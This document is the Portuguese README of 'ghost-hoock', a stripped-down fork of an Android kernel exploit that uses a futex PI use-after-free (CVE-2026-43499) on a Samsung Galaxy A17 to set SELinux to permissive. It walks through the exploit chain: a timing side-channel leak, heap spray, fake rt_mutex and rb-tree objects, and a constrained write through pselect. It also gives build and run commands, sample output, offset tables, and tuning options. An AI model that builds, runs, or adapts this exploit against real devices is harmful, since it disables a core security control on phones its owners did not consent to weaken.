
GhostLock reduzido a uma única primitiva: SELinux desativado no Galaxy A17 (BZA5) via futex PI UAF (CVE-2026-43499). Sem root, sem patch de credenciais, sem rwforge.
Um fork minimalista do GhostLock que mantém apenas uma primitiva: desligar o SELinux via CVE-2026-43499 (futex PI UAF).
ghost-hoock rodando em um Samsung A17
ghost-hoock é um fork reduzido do exploit GhostLock de Mobile Hacking Lab, reduzido a uma única primitiva:
Uma escrita restrita via futex PI UAF ->
selinux_enforcing = 0.
Sem root, sem sobrescrita de cred, sem canal rwforge, sem UMH, sem configfs. Apenas o mínimo necessário para colocar o SELinux em modo permissivo no kernel vulnerável.
Exemplo de saída em um Samsung Galaxy A17 (SM-A175F, BZA5):
[] kernel: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[+] offsets matched: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[] init_cred image=ffffffc082512b08 alias=ffffff8002512b08
[+] startup context pid=10331 uid=2000 euid=2000 gid=2000 egid=2000 attr=u:r:shell:s0 enforce=1
[+] startup limits pid=10331 NoNewPrivs=0 Seccomp=0 Seccomp_filters=0
[+] build config pid=10331 label=ghost-hoock
[] p0 kernel_phys_load=0000000040000000 delta=0000000000000000 core=0
[] target selinux_enforcing=ffffff800277e560
[] W1 attempt 1/20
[] === W1: SELinux === target=0xffffff800277e560 mode=1
[] prepare_kernel_page ok attempt=1
[] pselect route setup simple=0 shift=0 page=ffffff806c4f0000 fake_lock=ffffff806c4f0000 ...
[] pselect returned ret=6 errno=0 calls=1 success=1 delay=0
[] pselect route done calls=1 success=1 step=0 errno=0
[+] SELinux DISABLED (attempt 1)
Depois:
$ getenforce
Permissive
getenforce retorna Permissive
O exploit tem como alvo o CVE-2026-43499 — um use-after-free na cadeia rt_mutex do PI (Priority Inheritance) do futex do kernel Linux. A cadeia no ghost-hoock tem quatro etapas:
Canal lateral de temporização contra a tabela hash de futex do kernel. Martelamos FUTEX_WAKE_PRIVATE em um conjunto de futexes do espaço do usuário, medimos os deltas de rdtsc e correlacionamos colisões de buckets de hash. Isso recupera o endereço do nosso próprio mm_struct — a base da página de spray que precisamos depois.
Esta é a técnica KernelSnitch, retirada literalmente do exploit original.
Alocamos uma grande página slab order-3 e, em seguida, a organizamos com o layout de objeto falso usado pela rota PI:
Três threads:
FUTEX_WAIT_REQUEUE_PI em f_wait, com alvo em f_pi_target.FUTEX_LOCK_PI em f_pi_target e depois em f_pi_chain.sched_setattr(tid, SCHED_BATCH, nice=19) no TID do waiter, o que dispara rt_mutex_setprio() e força o kernel a percorrer a árvore PI falsa.Uma quarta chamada da thread principal — FUTEX_CMP_REQUEUE_PI(1, f_pi_target) — inicia o requeue. Dentro do kernel, rb_erase() é executado contra nossa árvore falsa.
pselect() / select() copia o fd_set do usuário para a pilha do kernel e depois o percorre. Organizamos os bitmaps do fd_set de modo que as palavras que o kernel trata como ponteiros de rb-tree caiam em fake_right e seu pai — e o rb_set_parent(child, parent) resultante se torna:
*(uint64_t *)target = value | color
Para mode = 1 (Write 1), target = selinux_enforcing e value = base + 0x100, que codifica como byte0 = 0, byte1 = 1. O kernel escreve 0 em selinux_enforcing[0] — o SELinux agora está permissivo.
Este é um fork de mobilehackinglab/ghostlock-a17 (MIT). O seguinte foi retirado 1:1 do exploit upstream:
O código auxiliar (macros pr_*, SYSCHK, pin_to_core, set_limit, set_unbuffer) também foi mantido como está do original.
O GhostLock original obtém root completo no A17: instala um canal físico de R/W rwforge, faz patch de cred / real_cred, executa um helper UMH com credenciais de init, captura logs e mais. No ghost-hoock, tudo após a primeira escrita restrita foi removido.
O GhostLock original continua mais completo e poderoso que este fork. O ghost-hoock não é um substituto — é um PoC mínimo para uma tarefa estreita: desligar o SELinux.
Requer clang e make no $PATH. Testado no Termux; também funciona via adb shell se o toolchain estiver presente.
git clone https://github.com/genksome/ghost-hoock
cd ghost-hoock
make
Saída: ./ghost-hoock (aarch64, PIE).
Via Android NDK (em um PC)
make NDK=/path/to/android-ndk-r26
ou manualmente:
/path/to/ndk/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android21-clang \
-O2 -Isrc -Isrc/kernelsnitch -Iinclude \
-D_GNU_SOURCE -D__ARM=1 -DTARGET_CONFIG_H='"target.h"' \
-fPIE -pie -pthread \
src/main.c src/spray.c src/route.c -o ghost-hoock
Verificação de compilação cruzada
file ghost-hoock
# ghost-hoock: ELF 64-bit LSB pie executable, ARM aarch64, ...
# copie o binário para algum lugar legível a partir do contexto do shell
cp ghost-hoock /data/local/tmp/
chmod 755 /data/local/tmp/ghost-hoock
# confirme que o SELinux está atualmente em enforcing
getenforce
# -> Enforcing
# execute
/data/local/tmp/ghost-hoock
# verifique
getenforce
# -> Permissive
Opções
ghost-hoock [options]
--attempts N número de tentativas de W1 (padrão: 20)
--no-drain pula slab_drain antes de cada tentativa de W1
-h, --help mostra a ajuda
Variáveis de ambiente
· GHOSTLOCK_CORE — 0..N. Núcleo de CPU ao qual a thread consumer é fixada. Padrão: 0. · KPHYS — 0x.... Endereço físico de carregamento do kernel, se for diferente de P0_KERNEL_PHYS_LOAD. · PREPARE_SLABS — 4..64. Número de páginas slab preparadas durante o spray. Padrão: 32. · PSELECT_SHIFT — -14..14. Deslocamento de palavra do fd_set. Apenas para depuração. · FOPS_MAX_ATTEMPTS — 4..72. Máximo de tentativas de prepare_kernel_page para o payload FOPS. · RWF_DEBUG — qualquer valor. Imprime linhas de depuração da construção do payload.
6.12.23-android16-5-abA175FXXS5BZD2-4k.shell (u:r:shell:s0), não de um app.Portabilidade: outros dispositivos/kernels precisam de sua própria tabela de offsets. Adicione um novo
OFFSETS_ENTRY(...)eminclude/offsets_bza5.hcom offsets de símbolos extraídos devmlinux/kallsymspara aquela build, depois recompile.
page_base errado ou uma escrita que caia em memória não relacionada derruba o kernel. O fork tem menos superfície que o original (sem rwforge, sem patch de cred, sem UMH), então é estatisticamente mais seguro, mas não 100% à prova de falhas.slide = 0. Não há vazamento de KASLR neste fork. Se você portá-lo para um kernel com KASLR habilitado, precisará trazer de volta o slide.c do original.0 em selinux_enforcing. Se você precisa de root, use o ghostlock-a17 completo.selinux_enforcing = 0) é mantida. Não tente estendê-la para a Write 2 ou para o pipeline rwforge sem entender profundamente a rota PI.
ghost-hoock/
├── include/
│ ├── ghost_hoock.h # cabeçalho compartilhado, API
│ ├── offset.h # dispatcher de TARGET_CONFIG_H
│ ├── offsets_bza5.h # offsets de símbolos (somente BZA5)
│ ├── runtime_struct_offsets.h # offsets dinâmicos de struct (macros _RSO)
│ └── target.h # endereços BZA5, layout de payload
├── src/
│ ├── main.c # CLI, seleção de offsets, loop W1
│ ├── spray.c # KernelSnitch + heap spray + ashmem
│ ├── route.c # rota PI + escrita restrita via pselect
│ └── kernelsnitch/ # vazamento de mm_struct (do upstream)
│ ├── kernelsnitch.h
│ ├── futex_hash.h
│ ├── timeutils.h
│ └── utils.h
├── docs/
│ └── img/
│ └── screenshot.jpg
├── Makefile
├── LICENSE
├── .gitignore
└── README.md
MIT — igual ao upstream ghostlock-a17. Veja LICENSE.
Este fork mantém o aviso de copyright original de mobilehackinglab (2026) e adiciona os autores do fork em cima, conforme exigido pelos termos da MIT.
O projeto é publicado estritamente para pesquisa de segurança no seu próprio dispositivo. Executá-lo contra um dispositivo que você não possui é ilegal na maioria das jurisdições.
mm_struct.Feito para pesquisa. Testado em um único dispositivo físico. Use por sua conta e risco.
| Offset | Objeto | Propósito |
|---|
0x0E80 | fake_lock | rt_mutex falso |
0x0F80 | fake_fops | Tabela file_operations falsa |
0x1180 | fake_w0 | rt_mutex_waiter falso usado como árvore alvo |
0x1240 | fake_right | Nó direito falso da rb-tree — é daqui que vem o valor da escrita |
0x1260 | fake_left | Nó esquerdo falso da rb-tree |
0x1280 | fake_task | task_struct falso |
A página inteira é enviada através de um socket AF_UNIX como SKB_SEND_SIZE = 2 * ORDER3_SIZE de sendmsg, para que os dados do skb caiam na nossa página vazada. Em seguida, liberamos na ordem controlada para que nossa página acabe em um slab parcial por CPU que possamos recuperar.
ret = 6 (em vez do padrão 9) confirma que a escrita ocorreu: o consumer atingiu o alvo durante select(), acordando-o mais cedo.
| Componente | Arquivo | Notas |
|---|
| KernelSnitch | src/kernelsnitch/* | Vazamento de mm_struct via temporização do hash de futex |
| Heap spray | src/spray.c | Layout de objeto falso, prepare_skb_payload, prepare_kernel_page |
| Rota PI + pselect | src/route.c | prepare_pselect_fdsets, do_pselect_fake_lock_route, consumer_thread, waiter_thread, owner_thread |
| Offsets BZA5 | include/offsets_bza5.h | Tabela de símbolos extraída de 6.12.23-android16-5-abA175FXXS5BZD2-4k |
| Cabeçalho de alvo BZA5 | include/target.h | Layout de endereços, offsets de payload (somente subconjunto W1) |
| Offsets de struct em tempo de execução | include/runtime_struct_offsets.h | Macros _RSO() para campos de task_struct |
| Arquivo removido | Por que existia no original |
|---|
rwforge_a17.c | Canal físico de R/W marching-forger via pipe_buffers |
pipe_physrw.c, pipe_reclaim.c | Recuperação de pipe-buffer -> leitura/escrita arbitrária no kernel |
root.c | Sobrescrita de cred / real_cred, instalação de su, patch de SID do SELinux |
umh_root.c, wq_umh_root() (em main.c) | Execução de um helper com credenciais de init a partir de um item de workqueue forjado no kernel |
slide.c | Vazamento de KASLR via oráculo boot_id — não necessário no BZA5, o KASLR está desligado |
miniadb.c | Bootstrap via ADB TCP |
try_cfi_stage() (em fops.c) | Estágio configfs compatível com CFI usado para inicializar o caminho de root |
run_rwforge(), run_bootid_oracle(), rwforge_root_and_capture() | Todo o pipeline de root |
install_embedded_su(), install_embedded_wallpaper() | Helpers de instalação de root |
Write 2 (cred), patch_cred_*, patch_task_seccomp | Tomada de credenciais pós-W1 |